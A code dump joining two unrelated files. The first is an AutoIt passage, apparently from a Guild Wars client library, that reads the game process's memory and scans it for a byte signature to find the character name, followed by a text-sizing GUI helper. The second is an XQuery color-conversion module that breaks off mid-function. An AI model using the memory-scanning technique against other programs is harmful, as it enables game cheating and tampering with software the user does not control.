DllCall($mKernelHandle, 'int', 'ReadProcessMemory', 'int', $mGWProcHandle, 'int', $aAddress, 'ptr', DllStructGetPtr($lBuffer), 'int', DllStructGetSize($lBuffer), 'int', '')
Return DllStructGetData($lBuffer, 1)
EndFunc ;==>MemoryRead
Func GetModuleInfo(ByRef $aModuleBase, ByRef $aModuleSize)
Local $lProcName = _WinAPI_GetProcessName($mGWProcId)
Local $lProcNameLength = StringLen($lProcName)
Local $lModules = _WinAPI_EnumProcessModules($mGWProcId)
For $i = 1 To $lModules[0][0]
Local $lModuleName = StringRight($lModules[$i][1], $lProcNameLength)
If StringCompare($lModuleName, $lProcName, $STR_NOCASESENSE) = 0 Then
Local $lModuleInfo = _WinAPI_GetModuleInformation($mGWProcHandle, $lModules[$i][0])
$aModuleBase = DllStructGetData($lModuleInfo, 'BaseOfDll')
$aModuleSize = DllStructGetData($lModuleInfo, 'SizeOfImage')
Return True
EndIf
Next
Return False
EndFunc ;==>GetModuleInfo
Func ScanForCharname($aModuleBase, $aModuleSize)
Local $lCharNameCode = BinaryToString('0x8BF86A03680F0000C08BCFE8')
Local $lCurrentSearchAddress = $aModuleBase
Local $lMBI[7], $lMBIBuffer = DllStructCreate('dword;dword;dword;dword;dword;dword;dword')
Local $lSearch, $lTmpMemData, $lTmpAddress, $lTmpBuffer = DllStructCreate('ptr'), $i
While $lCurrentSearchAddress < $aModuleBase + $aModuleSize
Local $lMBI[7]
DllCall($mKernelHandle, 'int', 'VirtualQueryEx', 'int', $mGWProcHandle, 'int', $lCurrentSearchAddress, 'ptr', DllStructGetPtr($lMBIBuffer), 'int', DllStructGetSize($lMBIBuffer))
For $i = 0 To 6
$lMBI[$i] = StringStripWS(DllStructGetData($lMBIBuffer, ($i + 1)), 3)
Next
If $lMBI[4] = 4096 Then
Local $lBuffer = DllStructCreate('byte[' & $lMBI[3] & ']')
DllCall($mKernelHandle, 'int', 'ReadProcessMemory', 'int', $mGWProcHandle, 'int', $lCurrentSearchAddress, 'ptr', DllStructGetPtr($lBuffer), 'int', DllStructGetSize($lBuffer), 'int', '')
$lTmpMemData = DllStructGetData($lBuffer, 1)
$lTmpMemData = BinaryToString($lTmpMemData)
$lSearch = StringInStr($lTmpMemData, $lCharNameCode, 2)
If $lSearch > 0 Then
$lTmpAddress = $lCurrentSearchAddress + $lSearch - 1
DllCall($mKernelHandle, 'int', 'ReadProcessMemory', 'int', $mGWProcHandle, 'int', $lTmpAddress - 0x42, 'ptr', DllStructGetPtr($lTmpBuffer), 'int', DllStructGetSize($lTmpBuffer), 'int', '')
Return DllStructGetData($lTmpBuffer, 1) - $aModuleBase
EndIf
$lCurrentSearchAddress += $lMBI[3]
EndIf
WEnd
Return False
EndFunc ;==>ScanForCharname
#EndRegion
; #INDEX# ============================================================================================================
; Title .........: _StringSize
; AutoIt Version : v3.2.12.1 or higher
; Language ......: English
; Description ...: Returns size of rectangle required to display string - maximum width can be chosen
; Remarks .......:
; Note ..........:
; Author(s) .....: Melba23 - thanks to trancexx for the default DC code
; ====================================================================================================================
;#AutoIt3Wrapper_Au3Check_Parameters=-d -w 1 -w 2 -w 3 -w 4 -w 5 -w 6
; #CURRENT# ==========================================================================================================
; _StringSize: Returns size of rectangle required to display string - maximum width can be chosen
; ====================================================================================================================
; #INTERNAL_USE_ONLY#=================================================================================================
; _StringSize_Error_Close: Releases DC and deletes font object after error
; _StringSize_DefaultFontName: Determines Windows default font
; ====================================================================================================================
; #FUNCTION# =========================================================================================================
; Name...........: _StringSize
; Description ...: Returns size of rectangle required to display string - maximum permitted width can be chosen
; Syntax ........: _StringSize($sText[, $iSize[, $iWeight[, $iAttrib[, $sName[, $iWidth[, $hWnd]]]]]])
; Parameters ....: $sText - String to display
; $iSize - [optional] Font size in points - (default = 8.5)
; $iWeight - [optional] Font weight - (default = 400 = normal)
; $iAttrib - [optional] Font attribute (0-Normal (default), 2-Italic, 4-Underline, 8 Strike)
; + 1 if tabs are to be expanded before sizing
; $sName - [optional] Font name - (default = Tahoma)
; $iWidth - [optional] Max width for rectangle - (default = 0 => width of original string)
; $hWnd - [optional] GUI in which string will be displayed - (default 0 => normally not required)
; Requirement(s) : v3.2.12.1 or higher
; Return values .: Success - Returns 4-element array: ($iWidth set // $iWidth not set)
; |$array[0] = String reformatted with additonal @CRLF // Original string
; |$array[1] = Height of single line in selected font // idem
; |$array[2] = Width of rectangle required for reformatted // original string
; |$array[3] = Height of rectangle required for reformatted // original string
; Failure - Returns 0 and sets @error:
; |1 - Incorrect parameter type (@extended = parameter index)
; |2 - DLL call error - extended set as follows:
; |1 - GetDC failure
; |2 - SendMessage failure
; |3 - GetDeviceCaps failure
; |4 - CreateFont failure
; |5 - SelectObject failure
; |6 - GetTextExtentPoint32 failure
; |3 - Font too large for chosen max width - a word will not fit
; Author ........: Melba23 - thanks to trancexx for the default DC code
; Modified ......:
; Remarks .......: The use of the $hWnd parameter is not normally necessary - it is only required if the UDF does not
; return correct dimensions without it.
; Related .......:
; Link ..........:
; Example .......: Yes
;=====================================================================================================================
Func _StringSize($sText, $iSize = 8.5, $iWeight = 400, $iAttrib = 0, $sName = "", $iMaxWidth = 0, $hWnd = 0)
; Set parameters passed as Default
If $iSize = Default Then $iSize = 8.5
If $iWeight = Default Then $iWeight = 400
If $iAttrib = Default Then $iAttrib = 0
If $sName = "" Or $sName = Default Then $sName = _StringSize_DefaultFontName()
; Check parameters are correct type
If Not IsString($sText) Then Return SetError(1, 1, 0)
If Not IsNumber($iSize) Then Return SetError(1, 2, 0)
If Not IsInt($iWeight) Then Return SetError(1, 3, 0)
If Not IsInt($iAttrib) Then Return SetError(1, 4, 0)
If Not IsString($sName) Then Return SetError(1, 5, 0)
If Not IsNumber($iMaxWidth) Then Return SetError(1, 6, 0)
If Not IsHwnd($hWnd) And $hWnd <> 0 Then Return SetError(1, 7, 0)
Local $aRet, $hDC, $hFont, $hLabel = 0, $hLabel_Handle
; Check for tab expansion flag
Local $iExpTab = BitAnd($iAttrib, 1)
; Remove possible tab expansion flag from font attribute value
$iAttrib = BitAnd($iAttrib, BitNot(1))
; If GUI handle was passed
If IsHWnd($hWnd) Then
; Create label outside GUI borders
$hLabel = GUICtrlCreateLabel("", -10, -10, 10, 10)
$hLabel_Handle = GUICtrlGetHandle(-1)
GUICtrlSetFont(-1, $iSize, $iWeight, $iAttrib, $sName)
; Create DC
$aRet = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hLabel_Handle)
If @error Or $aRet[0] = 0 Then
GUICtrlDelete($hLabel)
Return SetError(2, 1, 0)
EndIf
$hDC = $aRet[0]
$aRet = DllCall("user32.dll", "lparam", "SendMessage", "hwnd", $hLabel_Handle, "int", 0x0031, "wparam", 0, "lparam", 0) ; $WM_GetFont
If @error Or $aRet[0] = 0 Then
GUICtrlDelete($hLabel)
Return SetError(2, _StringSize_Error_Close(2, $hDC), 0)
EndIf
$hFont = $aRet[0]
Else
; Get default DC
$aRet = DllCall("user32.dll", "handle", "GetDC", "hwnd", $hWnd)
If @error Or $aRet[0] = 0 Then Return SetError(2, 1, 0)
$hDC = $aRet[0]
; Create required font
$aRet = DllCall("gdi32.dll", "int", "GetDeviceCaps", "handle", $hDC, "int", 90) ; $LOGPIXELSY
If @error Or $aRet[0] = 0 Then Return SetError(2, _StringSize_Error_Close(3, $hDC), 0)
Local $iInfo = $aRet[0]
$aRet = DllCall("gdi32.dll", "handle", "CreateFontW", "int", -$iInfo * $iSize / 72, "int", 0, "int", 0, "int", 0, _
"int", $iWeight, "dword", BitAND($iAttrib, 2), "dword", BitAND($iAttrib, 4), "dword", BitAND($iAttrib, 8), "dword", 0, "dword", 0, _
"dword", 0, "dword", 5, "dword", 0, "wstr", $sName)
If @error Or $aRet[0] = 0 Then Return SetError(2, _StringSize_Error_Close(4, $hDC), 0)
$hFont = $aRet[0]
EndIf
; Select font and store previous font
$aRet = DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hDC, "handle", $hFont)
If @error Or $aRet[0] = 0 Then Return SetError(2, _StringSize_Error_Close(5, $hDC, $hFont, $hLabel), 0)
Local $hPrevFont = $aRet[0]
; Declare variables
Local $avSize_Info[4], $iLine_Length, $iLine_Height = 0, $iLine_Count = 0, $iLine_Width = 0, $iWrap_Count, $iLast_Word, $sTest_Line
; Declare and fill Size structure
Local $tSize = DllStructCreate("int X;int Y")
DllStructSetData($tSize, "X", 0)
DllStructSetData($tSize, "Y", 0)
; Ensure EoL is @CRLF and break text into lines
$sText = StringRegExpReplace($sText, "((?<!\x0d)\x0a|\x0d(?!\x0a))", @CRLF)
Local $asLines = StringSplit($sText, @CRLF, 1)
; For each line
For $i = 1 To $asLines[0]
; Expand tabs if required
If $iExpTab Then
$asLines[$i] = StringReplace($asLines[$i], @TAB, " XXXXXXXX")
EndIf
; Size line
$iLine_Length = StringLen($asLines[$i])
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hDC, "wstr", $asLines[$i], "int", $iLine_Length, "ptr", DllStructGetPtr($tSize))
If @error Then Return SetError(2, _StringSize_Error_Close(6, $hDC, $hFont, $hLabel), 0)
If DllStructGetData($tSize, "X") > $iLine_Width Then $iLine_Width = DllStructGetData($tSize, "X")
If DllStructGetData($tSize, "Y") > $iLine_Height Then $iLine_Height = DllStructGetData($tSize, "Y")
Next
; Check if $iMaxWidth has been both set and exceeded
If $iMaxWidth <> 0 And $iLine_Width > $iMaxWidth Then ; Wrapping required
; For each Line
For $j = 1 To $asLines[0]
; Size line unwrapped
$iLine_Length = StringLen($asLines[$j])
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hDC, "wstr", $asLines[$j], "int", $iLine_Length, "ptr", DllStructGetPtr($tSize))
If @error Then Return SetError(2, _StringSize_Error_Close(6, $hDC, $hFont, $hLabel), 0)
; Check wrap status
If DllStructGetData($tSize, "X") < $iMaxWidth - 4 Then
; No wrap needed so count line and store
$iLine_Count += 1
$avSize_Info[0] &= $asLines[$j] & @CRLF
Else
; Wrap needed so zero counter for wrapped lines
$iWrap_Count = 0
; Build line to max width
While 1
; Zero line width
$iLine_Width = 0
; Initialise pointer for end of word
$iLast_Word = 0
; Add characters until EOL or maximum width reached
For $i = 1 To StringLen($asLines[$j])
; Is this just past a word ending?
If StringMid($asLines[$j], $i, 1) = " " Then $iLast_Word = $i - 1
; Increase line by one character
$sTest_Line = StringMid($asLines[$j], 1, $i)
; Get line length
$iLine_Length = StringLen($sTest_Line)
DllCall("gdi32.dll", "bool", "GetTextExtentPoint32W", "handle", $hDC, "wstr", $sTest_Line, "int", $iLine_Length, "ptr", DllStructGetPtr($tSize))
If @error Then Return SetError(2, _StringSize_Error_Close(6, $hDC, $hFont, $hLabel), 0)
$iLine_Width = DllStructGetData($tSize, "X")
; If too long exit the loop
If $iLine_Width >= $iMaxWidth - 4 Then ExitLoop
Next
; End of the line of text?
If $i > StringLen($asLines[$j]) Then
; Yes, so add final line to count
$iWrap_Count += 1
; Store line
$avSize_Info[0] &= $sTest_Line & @CRLF
ExitLoop
Else
; No, but add line just completed to count
$iWrap_Count += 1
; Check at least 1 word completed or return error
If $iLast_Word = 0 Then Return SetError(3, _StringSize_Error_Close(0, $hDC, $hFont, $hLabel), 0)
; Store line up to end of last word
$avSize_Info[0] &= StringLeft($sTest_Line, $iLast_Word) & @CRLF
; Strip string to point reached
$asLines[$j] = StringTrimLeft($asLines[$j], $iLast_Word)
; Trim leading whitespace
$asLines[$j] = StringStripWS($asLines[$j], 1)
; Repeat with remaining characters in line
EndIf
WEnd
; Add the number of wrapped lines to the count
$iLine_Count += $iWrap_Count
EndIf
Next
; Reset any tab expansions
If $iExpTab Then
$avSize_Info[0] = StringRegExpReplace($avSize_Info[0], "\x20?XXXXXXXX", @TAB)
EndIf
; Complete return array
$avSize_Info[1] = $iLine_Height
$avSize_Info[2] = $iMaxWidth
; Convert lines to pixels and add drop margin
$avSize_Info[3] = ($iLine_Count * $iLine_Height) + 4
Else ; No wrapping required
; Create return array (add drop margin to height)
Local $avSize_Info[4] = [$sText, $iLine_Height, $iLine_Width, ($asLines[0] * $iLine_Height) + 4]
EndIf
; Clear up
DllCall("gdi32.dll", "handle", "SelectObject", "handle", $hDC, "handle", $hPrevFont)
DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hFont)
DllCall("user32.dll", "int", "ReleaseDC", "hwnd", 0, "handle", $hDC)
If $hLabel Then GUICtrlDelete($hLabel)
Return $avSize_Info
EndFunc ;==>_StringSize
; #INTERNAL_USE_ONLY#============================================================================================================
; Name...........: _StringSize_Error_Close
; Description ...: Releases DC and deleted font object if required after error
; Syntax ........: _StringSize_Error_Close ($iExtCode, $hDC, $hGUI)
; Parameters ....: $iExtCode - code to return
; $hDC, $hGUI - handles as set in _StringSize function
; Return value ..: $iExtCode as passed
; Author ........: Melba23
; Modified.......:
; Remarks .......: This function is used internally by _StringSize
; ===============================================================================================================================
Func _StringSize_Error_Close($iExtCode, $hDC = 0, $hFont = 0, $hLabel = 0)
If $hFont <> 0 Then DllCall("gdi32.dll", "bool", "DeleteObject", "handle", $hFont)
If $hDC <> 0 Then DllCall("user32.dll", "int", "ReleaseDC", "hwnd", 0, "handle", $hDC)
If $hLabel Then GUICtrlDelete($hLabel)
Return $iExtCode
EndFunc ;=>_StringSize_Error_Close
; #INTERNAL_USE_ONLY#============================================================================================================
; Name...........: _StringSize_DefaultFontName
; Description ...: Determines Windows default font
; Syntax ........: _StringSize_DefaultFontName()
; Parameters ....: None
; Return values .: Success - Returns name of system default font
; Failure - Returns "Tahoma"
; Author ........: Melba23, based on some original code by Larrydalooza
; Modified.......:
; Remarks .......: This function is used internally by _StringSize
; ===============================================================================================================================
Func _StringSize_DefaultFontName()
; Get default system font data
Local $tNONCLIENTMETRICS = DllStructCreate("uint;int;int;int;int;int;byte[60];int;int;byte[60];int;int;byte[60];byte[60];byte[60]")
DLLStructSetData($tNONCLIENTMETRICS, 1, DllStructGetSize($tNONCLIENTMETRICS))
DLLCall("user32.dll", "int", "SystemParametersInfo", "int", 41, "int", DllStructGetSize($tNONCLIENTMETRICS), "ptr", DllStructGetPtr($tNONCLIENTMETRICS), "int", 0)
Local $tLOGFONT = DllStructCreate("long;long;long;long;long;byte;byte;byte;byte;byte;byte;byte;byte;char[32]", DLLStructGetPtr($tNONCLIENTMETRICS, 13))
If IsString(DllStructGetData($tLOGFONT, 14)) Then
Return DllStructGetData($tLOGFONT, 14)
Else
Return "Tahoma"
EndIf
EndFunc
| AutoIt | 4 | PewPewKenshin/GWCA | Examples/GwArmory/GwArmory.au3 | [
"MIT"
] |
(:~
: The color code conversion module.
:)
module namespace c = "de/bottlecaps/railroad/xq/color.xq";
(:~
: The pattern to identify color codes.
:)
declare variable $c:color-pattern := "^#[0-9A-Fa-f]{6}[^0-9A-Fa-f]?";
(:~
: The default saturation.
:)
declare variable $c:default-saturation := 1.0;
(:~
: The default lightness.
:)
declare variable $c:default-lightness := 0.65;
(:~
: CSS3 colors as per http://www.w3.org/TR/css3-color/#svg-color
:)
declare variable $c:css3-colors as element()+ :=
(
<color rgb="#000000"><name>black</name></color>,
<color rgb="#000080"><name>navy</name></color>,
<color rgb="#00008B"><name>darkblue</name></color>,
<color rgb="#0000CD"><name>mediumblue</name></color>,
<color rgb="#0000FF"><name>blue</name></color>,
<color rgb="#006400"><name>darkgreen</name></color>,
<color rgb="#008000"><name>green</name></color>,
<color rgb="#008080"><name>teal</name></color>,
<color rgb="#008B8B"><name>darkcyan</name></color>,
<color rgb="#00BFFF"><name>deepskyblue</name></color>,
<color rgb="#00CED1"><name>darkturquoise</name></color>,
<color rgb="#00FA9A"><name>mediumspringgreen</name></color>,
<color rgb="#00FF00"><name>lime</name></color>,
<color rgb="#00FF7F"><name>springgreen</name></color>,
<color rgb="#00FFFF"><name>aqua</name><name>cyan</name></color>,
<color rgb="#191970"><name>midnightblue</name></color>,
<color rgb="#1E90FF"><name>dodgerblue</name></color>,
<color rgb="#20B2AA"><name>lightseagreen</name></color>,
<color rgb="#228B22"><name>forestgreen</name></color>,
<color rgb="#2E8B57"><name>seagreen</name></color>,
<color rgb="#2F4F4F"><name>darkslategray</name><name>darkslategrey</name></color>,
<color rgb="#32CD32"><name>limegreen</name></color>,
<color rgb="#3CB371"><name>mediumseagreen</name></color>,
<color rgb="#40E0D0"><name>turquoise</name></color>,
<color rgb="#4169E1"><name>royalblue</name></color>,
<color rgb="#4682B4"><name>steelblue</name></color>,
<color rgb="#483D8B"><name>darkslateblue</name></color>,
<color rgb="#48D1CC"><name>mediumturquoise</name></color>,
<color rgb="#4B0082"><name>indigo</name></color>,
<color rgb="#556B2F"><name>darkolivegreen</name></color>,
<color rgb="#5F9EA0"><name>cadetblue</name></color>,
<color rgb="#6495ED"><name>cornflowerblue</name></color>,
<color rgb="#66CDAA"><name>mediumaquamarine</name></color>,
<color rgb="#696969"><name>dimgray</name><name>dimgrey</name></color>,
<color rgb="#6A5ACD"><name>slateblue</name></color>,
<color rgb="#6B8E23"><name>olivedrab</name></color>,
<color rgb="#708090"><name>slategray</name><name>slategrey</name></color>,
<color rgb="#778899"><name>lightslategray</name><name>lightslategrey</name></color>,
<color rgb="#7B68EE"><name>mediumslateblue</name></color>,
<color rgb="#7CFC00"><name>lawngreen</name></color>,
<color rgb="#7FFF00"><name>chartreuse</name></color>,
<color rgb="#7FFFD4"><name>aquamarine</name></color>,
<color rgb="#800000"><name>maroon</name></color>,
<color rgb="#800080"><name>purple</name></color>,
<color rgb="#808000"><name>olive</name></color>,
<color rgb="#808080"><name>gray</name><name>grey</name></color>,
<color rgb="#87CEEB"><name>skyblue</name></color>,
<color rgb="#87CEFA"><name>lightskyblue</name></color>,
<color rgb="#8A2BE2"><name>blueviolet</name></color>,
<color rgb="#8B0000"><name>darkred</name></color>,
<color rgb="#8B008B"><name>darkmagenta</name></color>,
<color rgb="#8B4513"><name>saddlebrown</name></color>,
<color rgb="#8FBC8F"><name>darkseagreen</name></color>,
<color rgb="#90EE90"><name>lightgreen</name></color>,
<color rgb="#9370DB"><name>mediumpurple</name></color>,
<color rgb="#9400D3"><name>darkviolet</name></color>,
<color rgb="#98FB98"><name>palegreen</name></color>,
<color rgb="#9932CC"><name>darkorchid</name></color>,
<color rgb="#9ACD32"><name>yellowgreen</name></color>,
<color rgb="#A0522D"><name>sienna</name></color>,
<color rgb="#A52A2A"><name>brown</name></color>,
<color rgb="#A9A9A9"><name>darkgray</name><name>darkgrey</name></color>,
<color rgb="#ADD8E6"><name>lightblue</name></color>,
<color rgb="#ADFF2F"><name>greenyellow</name></color>,
<color rgb="#AFEEEE"><name>paleturquoise</name></color>,
<color rgb="#B0C4DE"><name>lightsteelblue</name></color>,
<color rgb="#B0E0E6"><name>powderblue</name></color>,
<color rgb="#B22222"><name>firebrick</name></color>,
<color rgb="#B8860B"><name>darkgoldenrod</name></color>,
<color rgb="#BA55D3"><name>mediumorchid</name></color>,
<color rgb="#BC8F8F"><name>rosybrown</name></color>,
<color rgb="#BDB76B"><name>darkkhaki</name></color>,
<color rgb="#C0C0C0"><name>silver</name></color>,
<color rgb="#C71585"><name>mediumvioletred</name></color>,
<color rgb="#CD5C5C"><name>indianred</name></color>,
<color rgb="#CD853F"><name>peru</name></color>,
<color rgb="#D2691E"><name>chocolate</name></color>,
<color rgb="#D2B48C"><name>tan</name></color>,
<color rgb="#D3D3D3"><name>lightgray</name><name>lightgrey</name></color>,
<color rgb="#D8BFD8"><name>thistle</name></color>,
<color rgb="#DA70D6"><name>orchid</name></color>,
<color rgb="#DAA520"><name>goldenrod</name></color>,
<color rgb="#DB7093"><name>palevioletred</name></color>,
<color rgb="#DC143C"><name>crimson</name></color>,
<color rgb="#DCDCDC"><name>gainsboro</name></color>,
<color rgb="#DDA0DD"><name>plum</name></color>,
<color rgb="#DEB887"><name>burlywood</name></color>,
<color rgb="#E0FFFF"><name>lightcyan</name></color>,
<color rgb="#E6E6FA"><name>lavender</name></color>,
<color rgb="#E9967A"><name>darksalmon</name></color>,
<color rgb="#EE82EE"><name>violet</name></color>,
<color rgb="#EEE8AA"><name>palegoldenrod</name></color>,
<color rgb="#F08080"><name>lightcoral</name></color>,
<color rgb="#F0E68C"><name>khaki</name></color>,
<color rgb="#F0F8FF"><name>aliceblue</name></color>,
<color rgb="#F0FFF0"><name>honeydew</name></color>,
<color rgb="#F0FFFF"><name>azure</name></color>,
<color rgb="#F4A460"><name>sandybrown</name></color>,
<color rgb="#F5DEB3"><name>wheat</name></color>,
<color rgb="#F5F5DC"><name>beige</name></color>,
<color rgb="#F5F5F5"><name>whitesmoke</name></color>,
<color rgb="#F5FFFA"><name>mintcream</name></color>,
<color rgb="#F8F8FF"><name>ghostwhite</name></color>,
<color rgb="#FA8072"><name>salmon</name></color>,
<color rgb="#FAEBD7"><name>antiquewhite</name></color>,
<color rgb="#FAF0E6"><name>linen</name></color>,
<color rgb="#FAFAD2"><name>lightgoldenrodyellow</name></color>,
<color rgb="#FDF5E6"><name>oldlace</name></color>,
<color rgb="#FF0000"><name>red</name></color>,
<color rgb="#FF00FF"><name>fuchsia</name><name>magenta</name></color>,
<color rgb="#FF1493"><name>deeppink</name></color>,
<color rgb="#FF4500"><name>orangered</name></color>,
<color rgb="#FF6347"><name>tomato</name></color>,
<color rgb="#FF69B4"><name>hotpink</name></color>,
<color rgb="#FF7F50"><name>coral</name></color>,
<color rgb="#FF8C00"><name>darkorange</name></color>,
<color rgb="#FFA07A"><name>lightsalmon</name></color>,
<color rgb="#FFA500"><name>orange</name></color>,
<color rgb="#FFB6C1"><name>lightpink</name></color>,
<color rgb="#FFC0CB"><name>pink</name></color>,
<color rgb="#FFD700"><name>gold</name></color>,
<color rgb="#FFDAB9"><name>peachpuff</name></color>,
<color rgb="#FFDEAD"><name>navajowhite</name></color>,
<color rgb="#FFE4B5"><name>moccasin</name></color>,
<color rgb="#FFE4C4"><name>bisque</name></color>,
<color rgb="#FFE4E1"><name>mistyrose</name></color>,
<color rgb="#FFEBCD"><name>blanchedalmond</name></color>,
<color rgb="#FFEFD5"><name>papayawhip</name></color>,
<color rgb="#FFF0F5"><name>lavenderblush</name></color>,
<color rgb="#FFF5EE"><name>seashell</name></color>,
<color rgb="#FFF8DC"><name>cornsilk</name></color>,
<color rgb="#FFFACD"><name>lemonchiffon</name></color>,
<color rgb="#FFFAF0"><name>floralwhite</name></color>,
<color rgb="#FFFAFA"><name>snow</name></color>,
<color rgb="#FFFF00"><name>yellow</name></color>,
<color rgb="#FFFFE0"><name>lightyellow</name></color>,
<color rgb="#FFFFF0"><name>ivory</name></color>,
<color rgb="#FFFFFF"><name>white</name></color>
);
(:~
: The color debug flag.
:)
declare variable $c:debug as xs:boolean := false();
(:~
: Convert one hexadecimal digit from numeric to string.
:
: @param $d the hexadecimal digit.
: @return the corresponding string value.
:)
declare function c:nibble($d) as xs:string
{
substring("0123456789ABCDEF", $d + 1, 1)
};
(:~
: Convert code of a single color (0 to 255) from numeric to
: hexadecimal string notation.
:
: @param $c the numeric color code.
: @return the color code as a two digit hexadecimal string.
:)
declare function c:single-color-code($c) as xs:string
{
let $c := max((0, min((255, xs:integer(255 * $c + 0.5)))))
return concat(c:nibble(floor($c div 16)), c:nibble($c mod 16))
};
(:~
: Convert numeric RGB values to a hexadecimal color code with a
: '#' prefix for use in CSS or HTML.
:
: @param $r the red value.
: @param $g the green value.
: @param $b the blue value.
: @return the RGB value for CSS or HTML use (7 chars).
:)
declare function c:rgb($r as xs:decimal, $g as xs:decimal, $b as xs:decimal) as xs:string
{
concat("#", c:single-color-code($r), c:single-color-code($g), c:single-color-code($b))
};
(:~
: Convert numeric RGB values to a hexadecimal color code with a
: '#' prefix for use in CSS or HTML.
:
: @param $rgb the red, green, and blue values.
: @return the RGB value for CSS or HTML use (7 chars).
:)
declare function c:rgb($rgb as xs:decimal+) as xs:string
{
c:rgb($rgb[1], $rgb[2], $rgb[3])
};
(:~
: Convert hue to RGB. Helper function for hsl-to-rgb. Reformulated in XQuery
: from the original code at
: <a target="_blank"
: xmlns="http://www.w3.org/1999/xhtml"
: href="http://www.w3.org/TR/css3-color/#hsl-color">http://www.w3.org/TR/css3-color/#hsl-color</a>:
:
: <pre xmlns="http://www.w3.org/1999/xhtml">
: HOW TO RETURN hue.to.rgb(m1, m2, h):
: IF h<0: PUT h+1 IN h
: IF h>1: PUT h-1 IN h
: IF h*6<1: RETURN m1+(m2-m1)*h*6
: IF h*2<1: RETURN m2
: IF h*3<2: RETURN m1+(m2-m1)*(2/3-h)*6
: RETURN m1
: </pre>
:
: @param $m1 the m1 value.
: @param $m2 the m2 value.
: @param $h the h value.
: @return a single color value.
:)
declare function c:hue-to-rgb($m1, $m2, $h)
{
let $h := if ($h < 0) then $h + 1 else if ($h > 1) then $h - 1 else $h
return
if ($h * 6 < 1) then
$m1 + ($m2 - $m1) * $h * 6
else if ($h * 2 < 1) then
$m2
else if ($h * 3 < 2) then
$m1 + ($m2 - $m1) * (2 div 3 - $h) * 6
else
$m1
};
(:~
: Convert color from values in the HSL color model to an RGB code for
: use in CSS or HTML. Reformulated in XQuery
: from the original code at
: <a target="_blank"
: xmlns="http://www.w3.org/1999/xhtml"
: href="http://www.w3.org/TR/css3-color/#hsl-color">http://www.w3.org/TR/css3-color/#hsl-color</a>:
:
: <pre xmlns="http://www.w3.org/1999/xhtml">
: HOW TO RETURN hsl.to.rgb(h, s, l):
: SELECT:
: l<=0.5: PUT l*(s+1) IN m2
: ELSE: PUT l+s-l*s IN m2
: PUT l*2-m2 IN m1
: PUT hue.to.rgb(m1, m2, h+1/3) IN r
: PUT hue.to.rgb(m1, m2, h ) IN g
: PUT hue.to.rgb(m1, m2, h-1/3) IN b
: RETURN (r, g, b)
: </pre>
:
: @param $color the color code.
: @param $s the saturation value.
: @param $l the lightness value.
: @return the RGB value for CSS or HTML use (7 chars).
:)
declare function c:hsl-to-rgb($color, $s, $ll)
{
let $ll := if ($color ge 0) then $ll else 1 - 0.8 * $ll
let $color := if ($color ge 0) then $color else -1 - $color
return
if ($s = 0 or $color >= 360) then
($ll, $ll, $ll)
else
let $h := $color div 360
let $m2 :=
if ($ll <= 0.5) then
$ll * ($s + 1)
else
$ll + $s - $ll * $s
let $m1 := $ll * 2 - $m2
let $r := c:hue-to-rgb($m1, $m2, $h + 1 div 3)
let $g := c:hue-to-rgb($m1, $m2, $h)
let $b := c:hue-to-rgb($m1, $m2, $h - 1 div 3)
return ($r, $g, $b)
};
declare function c:unhex($codepoint as xs:integer*, $value as xs:integer) as xs:integer
{
if (empty($codepoint)) then
$value
else
c:unhex
(
subsequence($codepoint, 2),
$codepoint[1] - (0, 0, 48, 55, 0, 87)[$codepoint[1] idiv 16] + $value * 16
)
};
declare function c:unhex($hex as xs:string) as xs:integer
{
c:unhex(string-to-codepoints($hex), 0)
};
declare function c:r-g-b($rgb)
{
let $code := c:color-code($rgb)
where exists($code)
return
for $i in 1 to 3
return c:unhex(substring($code, 2 * $i, 2))
};
declare function c:rgb-to-hsl($color)
{
let $r-g-b := c:r-g-b($color)
return c:rgb-to-hsl($r-g-b[1] div 255,
$r-g-b[2] div 255,
$r-g-b[3] div 255)
};
declare function c:rgb-to-hsl($r, $g, $b)
{
let $min := min(($r, $g, $b))
let $max := max(($r, $g, $b))
return
if ($max eq 0) then
(0, 0, 0)
else
let $delta := $max - $min
let $h := if ($delta eq 0) then 0
else if ($r eq $max) then ($g - $b) div $delta
else if ($g eq $max) then 2 + ($b - $r) div $delta
else 4 + ($r - $g) div $delta
let $s := if ((1 - abs($max + $min - 1)) = 0) then 0 else $delta div (1 - abs($max + $min - 1))
let $l := ($max + $min) div 2
return (xs:integer((($h * 60) + 360 + 0.5) mod 360), $s, $l)
};
declare function c:relative-color($color, $s, $l)
{
let $hsl := c:rgb-to-hsl($color)
let $h := $hsl[1]
let $ss := $hsl[2] * $s
return
if ($l < 0.061 and $l > 0.039) then
let $background-lightness := if ($l > 0.055) then 0.89
else if ($l > 0.045) then 0.81
else $c:default-lightness
let $background-brightness := c:brightness(c:hsl-to-rgb($h, $ss, c:convert-lightness($background-lightness, $hsl[3], 0, 1)))
let $dark := c:hsl-to-rgb($h, $ss, $l)
let $light := c:hsl-to-rgb($h, $ss, 0.94)
return
if (abs(c:brightness($dark) - $background-brightness) > abs(c:brightness($light) - $background-brightness)) then
c:rgb($dark)
else
c:rgb($light)
else
let $ll := if ($l < 0.5) then c:convert-lightness($l, $hsl[3], $l - 0.01, $l + 0.05)
else if ($l > 0.9 or $s < 0.9) then c:convert-lightness($l, $hsl[3], $l - 0.07, $l + 0.03)
else c:convert-lightness($l, $hsl[3], 0, 1)
return c:rgb(c:hsl-to-rgb($h, $ss, $ll))
(: " /* r-c(", substring($color, 2), ", ", string($s), ",", string($l), ") hsl(", string($h), ",", string($ss), ",", string($ll), ") */" :)
};
declare function c:brightness($rgb as xs:decimal+) as xs:decimal
{
($rgb[1] * 299 + $rgb[2] * 587 + $rgb[3] * 114) div 1000
};
declare function c:convert-lightness($oldL as xs:decimal, $newL as xs:decimal, $min as xs:decimal, $max as xs:decimal) as xs:decimal
{
let $factor := $max - $min
let $oldL := ($oldL - $min) div $factor
let $result := if ($newL <= $c:default-lightness)
then $oldL div $c:default-lightness * $newL
else $newL + ($oldL - $c:default-lightness) div (1 - $c:default-lightness) * (1 - $newL)
return $min + $result * $factor
};
declare function c:color-code($color as xs:string) as xs:string?
{
let $color := normalize-space($color)
return
if (matches($color, "^#[0-9a-fA-F]{6}$")) then
upper-case($color)
else if (matches($color, "^#[0-9a-fA-F]{3}$")) then
replace(upper-case($color), "([0-9A-F])", "$1$1")
